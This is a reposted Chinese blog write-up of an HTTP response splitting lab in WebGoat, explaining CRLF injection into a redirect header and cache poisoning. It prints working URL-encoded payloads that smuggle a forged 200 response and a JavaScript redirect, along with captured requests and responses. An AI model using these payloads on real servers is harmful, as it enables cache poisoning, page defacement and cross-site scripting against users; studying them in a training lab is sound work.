HTTP Response Splitting攻擊探究 <轉>

時間 2019-12-08

標籤 http response splitting 攻擊探究欄目 HTTP/TCP 简体版

原文原文鏈接

第一小節：HTTP Basics：使用Proxy軟件（例如Webscarab）來截斷瀏覽器（客戶端）和Server之間的HTTP通訊,以後任意篡改獲得預期結果便可。css

第二小節：HTTP Splitting：（其實應該爲HTTP Response Splitting）html

分爲兩步web

一、HTTP Splitting:經過注入HTTP request使得Server返回兩個HTTP response（最起碼是使得接收到Server返回響應的目標本身認爲是接收到了兩個HTTP response），而不是一個。經過精心構造這第二個HTTP響應，攻擊者能夠達到任意目的！該攻擊是由於server沒有檢查非法的數據輸入就進行了請求的重定向（code 3x x , "setcookie" 或者 "Location"）。瀏覽器

二、Cache Poisoning;緩存

HTTP Response Splitting介紹：安全

「HTTP Response Splitting」 is a new application attack technique which enables various new attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and an old favorite, cross-site scripting (XSS). This attack technique, and the derived attacks from it, are relevant to most web environments and is the result of the application’s failure to reject illegal user input, in this case, input containing malicious or unexpected characters.服務器

HTTP Response Splitting漏洞成因：cookie

The HTTP response splitting vulnerability is the result of the application’s failure toapp

reject illegal user input. Specifically, input containing malicious or unexpected CRless

and LF characters.

HTTP Response Splitting攻擊發生的前提條件是——Server存在安全漏洞時，即Server沒有拒絕客戶端的非法輸入，而且Server腳本將用戶輸入的數據直接嵌入了HTTP response headers中。

而且，

HTTP1.1容許客戶端和服務器在一個相同的TCP會話中交換多個HTTP請求，而HTTP1.0在每一個HTTP交換以前都必需創建一個TCP鏈接。

HTTP Response Splitting攻擊中的角色分析：

一、Web Server（具備可促使HTTP Response Splitting的安全漏洞）

二、Victim Target：一個能與Web Server正常交互的客戶端（在WebGoat中也由Attacker來扮演）。能夠爲一個browser（通常具備瀏覽器cache）或者一個cache server（forward/reverse proxy）

三、Attacker——發啓攻擊者

HTTP Response Splitting攻擊本質：

The essence of HTTP Response Splitting is the attacker’s ability to send a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response, in the normal case. The first response may be partially controlled by the attacker, but this is less important. What is material is that the attacker completely controls the form of the second response from the HTTP status line to the last byte of the HTTP response body. Once this is possible, the attacker realizes the attack by sending two requests through the target. The first one invokes two responses from the web server, and the second request would typically be to some 「innocent」 resource on the web server. However, the second request would be matched, by the target, to the second HTTP response, which is fully controlled by the attacker. The attacker, therefore, tricks the target into believing that a particular resource on the web server (designated by the second request) is the server’s HTTP response (server content), while it is in fact some data, which is forged by the attacker through the web server – this is the second response.

HTTP Response Splitting攻擊簡析：

HTTP Response Splitting attacks take place where the server script embeds user data in HTTP response headers. This typically happens when the script embeds user data in the redirection URL of a redirection response (HTTP status code 3xx), or when the script embeds user data in a cookie value or name when the response sets a cookie.

即Server沒有拒絕客戶端的非法輸入，而且Server腳本將用戶輸入的數據直接嵌入了HTTP response headers中。

server腳本將用戶輸入數據嵌入到HTTP redirection Response（HTTP status code 3xx）的重定向URL地址中（Location line）或者當response設置cookie時sever腳本將用戶輸入數據嵌入到cookie value/name中。

例子：

考慮如下JSP頁面 (假設在/redir_lang.jsp):

response.sendRedirect("/by_lang.jsp?lang="+

request.getParameter("lang"));

當使用參數lang=English調用/redir_lang.jsp時，server會自動重定向到/by_lang.jsp?lang=English

HTTP響應和請求包格式（需調研！！！！）

CR = Carriage return ( %0d or /r or A SCII 1 3)
LF = Line Feed (%0a or /n or A SCII 1 0)
http is built as follow:
initial line, ends with CRLF
header lines, ends with CRLF
blank line (= CRLF)
body

由於數據要被解析爲HTTP請求所以用CRLF替換LF。

HTTP Response Splitting攻擊過程

在Webgoat測試頁的輸入框中輸入畸形數據：

chinese%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a<html>Hacked by ZhengC</html>

能夠在http://yehg.net/encoding/#中經URL解碼查看數據內容，即：

chinese

Content-Length: 0

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 29

<html>Hacked by ZhengC</html>

這裏須要注意的是構建此畸形數據的時候要符合HTTP請求和響應的包格式。好比HTTP請求和響應都須要用CRLF（即%0d%0a）來隔開數據包的header和body。

而target解析到Content-Length: 0時，認爲請求包的body內容爲空，所以Content-Length: 0至關於將一個GET請求數據包中間截斷爲一個內容爲0的GET請求和下面的數據包（咱們精心構造爲一個HTTP200響應）。

Webscarab截獲POST請求和Server的Response

須要設置WebScarab

The Request sent to Server is：

POST http://localhost:8080/webgoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

Proxy-Connection: keep-alive

Referer: http://localhost:8080/webgoat/attack?Screen=3&menu=100&Restart=3

Cookie: JSESSIONID=2CF8DFAB32C4CF39DB4023D1BB2EF98E

Content-Type: application/x-www-form-urlencoded

Content-length: 245

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

language=chinese%250d%250aContent-Length%3A%25200%250d%250a%250d%250aHTTP%2F1.1%2520200%2520OK%250d%250aContent-Type%3A%2520text%2Fhtml%250d%250aContent-Length%3A%252029%250d%250a%250d%250a%3Chtml%3EHacked+by+ZhengC%3C%2Fhtml%3E&SUBMIT=Search%21

Server sent response（302）to proxy：

HTTP/1.1 302 Moved Temporarily

Server: Apache-Coyote/1.1

Location: http://localhost:8080/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinese%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a<html>Hacked by ZhengC</html>

Content-Type: text/html;charset=ISO-8859-1

Content-length: 0

Date: Wed, 27 Oct 2010 06:18:13 GMT

result:

該項由於一個重定向(status code 302),咱們輸入的數據被放在了響應頭的Location行裏。

Server 重定向到一個新的URL：亦即第二個從Target發出的請求，這裏的請求能夠替換成任意的對該server的正常請求，由於當Server返回302 redirection響應的時候，Content-Length:0截斷了GET請求，其下的通過精心構造的數據被Target解析爲另外一個爲200 ok的HTTP響應包，並緩存在其cache上。

GET http://localhost:8080/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinese%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a%3Chtml%3EHacked%20by%20ZhengC%3C/html%3E HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

Proxy-Connection: keep-alive

Referer: http://localhost:8080/webgoat/attack?Screen=3&menu=100&Restart=3

Cookie: JSESSIONID=2CF8DFAB32C4CF39DB4023D1BB2EF98E

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

當上述的（第二個）GET請求發出時，Proxy自動將200 ok的HTTP響應做爲此請求的響應返回給Target。

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Pragma: No-cache

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 08:00:00 CST

Content-Type: text/html

X-Transfer-Encoding: chunked

Date: Wed, 27 Oct 2010 06:41:50 GMT

Content-length: 29

<html>Hacked by ZhengC</html>

危害：

能夠在此基礎上在HTTP 200響應中加入 JavaScript，例如

< html>

document.location.href="http://www.baidu.com"

</script>

</html>

經URL編碼

%3Chtml%3E%0A%3Cscript%20language%3D%22JavaScript%22%3E%0Adocument.location.href%3D%22http%3A%2F%2Fwww.baidu.com%22%0A%3C%2Fscript%3E%0A%3C%2Fhtml%3E

ps:此處的格式信息如換行不能使用%0d%0a，只能使用%0A（why？是由於此段HTML代碼不須要在URL裏進行識別格式信息，可是看成爲html頁面打開時只須要%0a便可顯示格式信息）

試驗中遇到的問題：

1、

由於WebGoat設計的缺陷，練習時Attacker和Target是一樣的角色，所以當我對第二個GET請求

（GET http://localhost:8080/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinese%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a%3Chtml%3EHacked%20by%20ZhengC%3C/html%3E HTTP/1.1）進行篡改後（將Hacked by Zhengc改成Hacked），最好攻擊的結果爲Hacked，讓我一度陷入困境。最開始我假設認爲是browser將Server第一次的響應報文中的信息解析並誤認爲是兩個HTTP響應，可是此結果否認了該假設，由於最後得到的響應結果（200 ok... 「Hacked」..）是根據第二次GET請求獲得的，所以我誤覺得是獲得這個GET的Server進行了誤解析並將Content-Length:0後面的數據判斷爲一個HTTP（200）響應，並將此響應返回給browser。這時就存在一個誤區：爲何服務器會將一個GET請求包後面的一個HTTP 響應包格式的數據返回給發送GET的客戶端！

最後發現問題在於，我使用的Webscarab自己就爲一個Proxy，存在於browser和Server之間。因此，對於這個實驗來講，應該是三個角色模型而不只僅是Client/Server的模型。對於Proxy來講，他分不清Server和Client的方向，只能根據所接受到的包格式判斷包信息並進行轉發或cache，所以，當我篡改第二個GET裏面的數據時，而後獲得不一樣響應時，並非Server端解析了這個GET請求後的響應數據並返回，而是使得在Proxy接受到這個請求（轉發給Server以前），解析獲得一個GET請求以及其後的HTTP（200）響應數據格式，將這個 HTTP響應覆蓋了Proxy在Server發回HTTP302響應時cache的其後的HTTP響應。此時，對於這個請求，其實不論是當前這個帶有構造的畸形數據的GET請求仍是其餘正常的GET請求，Proxy都會將緩存的HTTP（200）響應返回給Browser。

2、繼續熟悉HTTP請求包和響應包的格式，構建除了HTTP（200 ok）響應外的其餘響應！

相關標籤/搜索

每日一句

每一个你不满意的现在，都有一个你没有努力的曾经。